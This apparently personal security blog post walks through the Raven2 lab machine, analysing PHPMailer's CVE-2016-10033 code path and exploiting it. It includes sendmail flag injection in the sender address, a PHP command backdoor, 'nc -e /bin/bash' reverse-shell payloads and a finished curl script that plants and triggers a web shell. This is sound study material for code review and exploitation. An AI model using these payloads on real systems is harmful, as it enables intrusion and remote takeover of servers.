CyberSecurity Blog

Various Posts around Cyber Sec

View on GitHub

Raven2 - Remote Command Execution

Intro

Within this walkthrough, I will skip any part not related to the web application exploitation, but for sake of consistency I would briefly explain what (and why) I skip.

Raven2 web application is made on the top of WordPress, and a vulnerability affecting the application can be found analysing a bunch of files only

Vulnerability Discovery

Running a find /var/www/html/ -type -f -regex .*php give us the generic structure of the application. The first thing to note is that the first level of the application contains merely html files, except one, contact.php. To give you the ability to review it, the admin put a zipped version of the file (a backup?) for you to download.


root@Raven:/var/www/html# ls -l
total 232
-rw-r--r-- 1 root     root     13265 Aug 13  2018 about.html
-rw-r--r-- 1 root     root     10441 Aug 13  2018 contact.php
-rw-r--r-- 1 root     root      3384 Aug 12  2018 contact.zip
drwxr-xr-x 4 root     root      4096 Aug 12  2018 css
-rw-r--r-- 1 root     root     35226 Aug 12  2018 elements.html
drwxr-xr-x 2 root     root      4096 Aug 12  2018 fonts
drwxr-xr-x 5 root     root      4096 Aug 12  2018 img
-rw-r--r-- 1 root     root     16819 Aug 13  2018 index.html
drwxr-xr-x 3 root     root      4096 Aug 12  2018 js
drwxr-xr-x 4 root     root      4096 Aug 12  2018 scss
drwxr-xr-x 7 root     root      4096 Aug 12  2018 Security - Doc
-rw-r--r-- 1 root     root     11114 Nov  9  2018 service.html
-rw-r--r-- 1 root     root     15449 Aug 13  2018 team.html
drwxrwxrwx 7 root     root      4096 Jan 19 20:06 vendor
drwxrwxrwx 5 root     root      4096 Nov  9  2018 wordpress

Within the file, we can note the following piece of code, that loads the PHPMailer plugin, creates a message from user input parameters without any form of validation and tries to send it:

 <?php
if (isset($_REQUEST['action'])){
    $name=$_REQUEST['name'];
    $email=$_REQUEST['email'];
    $message=$_REQUEST['message'];
    if (($name=="")||($email=="")||($message=="")){
        echo "There are missing fields.";
    }else{
        require 'vendor/PHPMailerAutoload.php';
        $mail = new PHPMailer;
        $mail->Host = "localhost";
        $mail->setFrom($email, 'Vulnerable Server');
        $mail->addAddress('admin@vulnerable.com', 'Hacker');
        $mail->Subject  = "Message from $name";
        $mail->Body     = $message;
        if(!$mail->send()) {
            echo 'Message was not sent.';
            echo 'Mailer error: ' . $mail->ErrorInfo;
        } else {
            echo 'Message has been sent.';
        }
    }
}
?>

The version of the PHPMailer installed on raven is the 5.2.17 (observable from /var/www/html/vendor/changelog.md). Moreover, accessing the file /var/www/html/vendor/SECURITY.md, it’s possible to see that this version is affected by a known vulnerability.


tester@Raven:# cat vendor/changelog.md  | head -n 3
# ChangeLog
## Version 5.2.17 (December 9th 2016)

tester@Raven:# cat vendor/SECURITY.md
# Security notices relating to PHPMailer
Please disclose any vulnerabilities found responsibly - report any security problems found to the maintainers privately.
PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](https://legalhackers.com).

Ignoring the fact that a public available exploit is available for PHPMailer, let’s dig deeper into its implementation.

Following, we will dissect the vulnerability known as CVE-2016-10033, trying to figure it on our own. The steps that we will follow to exploit the sendmail routine can be summarised as following:

  1. Locate the vulnerable function
  2. Bypass the validation mechanism
  3. Reach Remote Code Execution on the machine

Locate the vulnerable function

We’ll start analysing PHPMailerAutoload.php, which is only a loader, as its name suggests, which aim is loading class.* files within the module directory. We’re mainly interested in the class.phpmailer.php file, which contains the send() function called in contact.php. The send function, below, calls two other functions, preSend and postSend.

<?php
public function send()
{
    try {
        if (!$this->preSend()) {
            return false;
        }
        return $this->postSend();
    } catch (phpmailerException $exc) {
        $this->mailHeader = '';
        $this->setError($exc->getMessage());
        if ($this->exceptions) {
            throw $exc;
        }
        return false;
    }
}

PreSend is the function that will prepare the message in a way that is ready to be sent. We will take this function into more consideration later, trying to find a way to bypass parameter filtering.

PostSend, instead, is the function that actually sends the message. It’s crucial to understand the flow to the vulnerability. From its implementation we can see that different sub-routines are used to send the mail, basing on the value of the “Mailer” variable. At the start of the file, we can file that this variable is statically set to “mail”.

Note: To rapidly check for that, it’s easy to add a logging routine just after the case ‘mail’, seeing that it’s hit when a mail is sent from the contact us page.

<?php
public function postSend()
{
    try {
        // Choose the mailer and send through it
        switch ($this->Mailer) {
            case 'sendmail':
            case 'qmail':
                return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
            case 'smtp':
                return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
            <>case 'mail':
                return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            default:
                $sendMethod = $this->Mailer.'Send';
                if (method_exists($this, $sendMethod)) {
                    return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                }

                return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
        }
    } catch (phpmailerException $exc) {
        $this->setError($exc->getMessage());
        $this->edebug($exc->getMessage());
        if ($this->exceptions) {
            throw $exc;
        }
    }
    return false;
}

As observable in mailSend function code, snippet below, the sender value is passed as it is in a sprintf function, without any validation. That makes it a very good candidate for a possible exploit. Then, the program flow is passed to mailPassthru.

<?php
 protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        <>if (!empty($this->Sender)) {
--------->   $params = sprintf('-f%s', $this->Sender);
        }
        if ($this->Sender != '' and !ini_get('safe_mode')) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
--------->  $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }    

Once reached mailPassthru, the code flow is passed to the standard PHP mail function, which is known to be susceptible to code injection attacks. As the affected parameter is $param, it seems to be claer that the function is vulnerable to an injection attack only if running in ‘non safe’ mode. Snippet below:

1. <?php
2. //Can't use additional parameters in safe_mode
3. //@link http://php.net/manual/en/function.mail.php
4. if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) 5. {
6.     $result = @mail($to, $subject, $body, $header);
7. } else {
8.     $result = @mail($to, $subject, $body, $header, >$params);
9. }

To test if we’re running in safe mode, let’s run from raven terminal:

tester@Raven:# php -r 'echo ini_get("safe_mode") ? "TRUE"."\n" : "FALSE"."\n";'
FALSE

So we know that we can reach that injection point. Before continuing further with the process of bypass the encoding I would like to insert here a note about PHP mail exploitation. The following paragraph is copied directly (without any modification) from the fantastic work of opsxcq, who previously wrote a post on this vulnerability, found by Dawid Golunski, and develop a vulnerable docker container to play with it:

— BEGIN NOTE

Notes about PHP mail() function exploitation

The exploitation of PHP mail() function isn’t a new thing, but it still alive and people still using it. To explain how it works, lets look at how mail() function is defined:

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

There are several exploitation methods for different results, we will focus on the exploitation of the 5th parameter to get Remote Code Execution (RCE). The parameter $additional_parameters is used to pass additional flags as command line options to the program configured to send the email. This configuration is defined by the sendmail_path variable.

A security note from php official documentation:

The additional_parameters parameter can be used to pass additional flags as command line options to the program configured to be used when sending mail, as defined by the sendmail_path configuration setting. For example, this can be used to set the envelope sender address when using sendmail with the -f sendmail option.

This parameter is escaped by escapeshellcmd() internally to prevent command execution. escapeshellcmd() prevents command execution, but allows to add additional parameters. For security reasons, it is recommended for the user to sanitize this parameter to avoid adding unwanted parameters to the shell command.

Considering the additional parameters that can be injectected we will use -X to exploit this flaw. More about the -X parameter

-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.

There are also some other interesting parameters that you should know that exist:

-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.

And

-O option=value
Set option to the specified value. This form uses long names.

And for -O option, the QueueDirectory is the most interesting option there, this option select the directory in which to queue messages.

If you want to read the whole list of parameters and options, just man sendmail or read it online here

Based on this information, and the ability to control at least one of the other parameters, we can exploit the host. Bellow the steps for a successful exploitation:

Remember that the -X option will write the log file, that will contain among the log information your PHP payload, in the directory that you will inform. An example of a vulnerable PHP code:

$to = 'hacker@server.com';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

If you execute the code above, it will create a log file in the /www/backdoor.php, this is the essence of this exploit.

— END NOTE

Ok, that’s awesome, now we know we can exploit the injection point to reach remote code execution. But that is so simple? Let’s do one step back and take a look at what kind of validation is performed in preSend function:

1. <?php
2. public function preSend()
3. {
4.
5.        ...SNIPPED...
6.
7.        // Validate From, Sender, and ConfirmReadingTo addresses
8.        foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
9.             $this->$address_kind = trim($this->$address_kind);
10.            if (empty($this->$address_kind)) {
11.                continue;
12.            }
13.            $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
14.            if (!$this->validateAddress($this->$address_kind)) {</strong>
15.                $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
16.                $this->setError($error_message);
17.                $this->edebug($error_message);
18.                if ($this->exceptions) {
19.                    throw new phpmailerException($error_message);
20.                }
21.                return false;
22.            }
23.        }
24.
25.        ...SNIPPED...
26.
27.    }
28. }    

The validation is performed in three steps:

We can clearly observe that punyencodeaddress won’t actually do anything more than checking if the mail address contains a “@” and if the domain is utf-8 encoded:

<?php
public function punyencodeAddress($address)
{
    // Verify we have required functions, CharSet, and at-sign.
    if ($this->idnSupported() and
        !empty($this->CharSet) and
        ($pos = strrpos($address, '@')) !== false) {
        $domain = substr($address, ++$pos);
        // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
        if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
            $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
            if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                idn_to_ascii($domain)) !== false) {
                return substr($address, 0, $pos) . $punycode;
            }
        }
    }
    return $address;
}

The function validate address, instead, does the heavy job validating the address name, differentiating four validation types:

Let’s check if PCRE_VERSION is defined in PHP and the PHP version by running:

tester@Raven:# php -r 'echo (version_compare(PCRE_VERSION,"8.0.3") ? "TRUE" : "FALSE");'
TRUE

tester@Raven:# # php --version
PHP 5.6.36-0+deb8u1 (cli) (built: Jun 26 2018 17:31:29)
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies

Ok, so now we know that the flow of the program will choose pcre8 as the validation regex.

Let’s take a deeper look at the regex used:

<?php

$regex= '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
        '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
        '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
        '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
        '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9\-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9\-]*[a-z0-9])?)' .
        '(?>(?1)\.(?!(?1)[a-z0-9\-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
        '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
        '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
        '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD';

The important thing to note is that this regex, although being compliant with the RFC, allows a wide range of characters to be used within the mail address. We can exploit it? Let’s write a small php tester:

<?php

$regex = '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9\-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9\-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9\-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD';

$address = (string)'"test chars:\" -A/=/a/b/c test" @test.com';

print "[*] Testing the following address:\n\t" . $address . "\n";

$res = preg_match($regex,$address);
echo ((bool)$res ? "TRUE\n" : "FALSE\n");

?>

And run it:

tester@Raven:# php test.php
[*] Testing the following address:
        "test the following:\" -A/=/a/b/c test" @test.com
TRUE

Exploitation

We just need to craft a payload string that would allow us to write a log in a file reachable from the web server. Ideally, we will be able to inject php log into the file and use it as a vector to achieve code execution, as explained previously in the “Notes about PHP mail() function exploitation”.

Following the above example, we can modify the address from this:

$address = (string)'"test chars:\" -A/=/a/b/c test" @test.com';

to this:

$address = (string)'"injection\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @pwnd.com';

If we run again the tester, we will see that this payload as well matches the validation regex:

tester@Raven:# php test.php
[*] Testing the following address:
        "injection\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @pwnd.com
TRUE

When called by PHP mail function, the sendmail program would look like it was called from the command like in the following way:

tester@Raven:# sendmail -f"injection\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @pwnd.com

However, if anyone tries to execute the command this way, he will see that it won’t work. To make it work properly, it’s necessary to launch it this way:

tester@Raven:# $(printf '/usr/sbin/sendmail -f"injection\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @pwnd.com') 

Killing the command with Ctrl+C, and listing the files within the directory, it’s observable that the file shell.php has been created, registering the output of the command. At this point, the last thing to do is to choose where to put the PHP shell payload. We can control two additional part of the sendmail command, as observable from the contact.php:

$name=$_REQUEST['name'];
$message=$_REQUEST['message'];
...
$mail->Subject  = "Message from $name";
$mail->Body     = $message;

Any of the two can be chosen to inject the backdoor payload. To test it, it is possible to launch the sendmail directly from the command line and craft the mail manually:

tester@Raven:# $(echo '/usr/sbin/sendmail -f"d3adc0de\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @gmail.com')
To: Hacker <admin@vulnerable.com>
Subject: Message from ME
Header: Date: Mon, 20 Jan 2020 20:23:17 +1100
From: Vulnerable Server <"d3adc0de\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @gmail.com>
PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
.
tester@Raven:# cat shell.php | grep '<?php'
29395 <<< PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
29395 >>> PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
29395 >>> PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
29395 >>> PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>

The backdoor was successfully created.

Wrapping up

The final payload, as it looks after tweaking:

#!/bin/sh
echo "[*] Staring Listener on port 444"
gnome-terminal -- nc -lvkp 444 2>/dev/null

echo "[*] Writing shell on the filesystem"
curl -ksi -x $'http://127.0.0.1:8080' \
-X $'POST' -H $'Content-Type: multipart/form-data' \
-F $'action=submit' \
-F $'subject=No Subject' \
-F $'message=TEST' \
--form-string $'name=<?php system("nc -e /bin/bash 192.168.56.1 444");?>'\
--form-string $'email="injection\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @pwnd.com' \
$'http://raven.local/contact.php' &>/dev/null

echo "[*] Triggering the reverse shell"
curl -ksi http://raven.local/shell.php -x http://127.0.0.1:8080 &>/dev/null
echo "[+] Done"

Conclusion

Very good machine to learn how to review code and find an injection point, if you don’t choose to take the easy route and go with the public available exploit, of course! The level of complexity is close to AWAE level.